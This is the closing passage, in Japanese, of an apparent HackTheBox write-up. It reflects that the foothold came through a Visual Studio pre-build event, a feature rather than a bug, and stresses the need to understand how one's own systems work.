足がかりは、Visual Studioプロジェクトのビルド前イベントでしたが、これは脆弱性ではなく仕様なので、対策が難しいです。ただ、今回のマシンから得られる教訓は自分が使用するシステムの仕様はきちんと把握するということですね。機能が膨大で大変なのはわかりますが、しっかりと機能を把握できていないと今回のようなインシデントを引き起こす可能性があります。診断する側としても細かい機能を理解した上での提案ができるように心がけていきたいです。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで見ていただき、ありがとうございました~!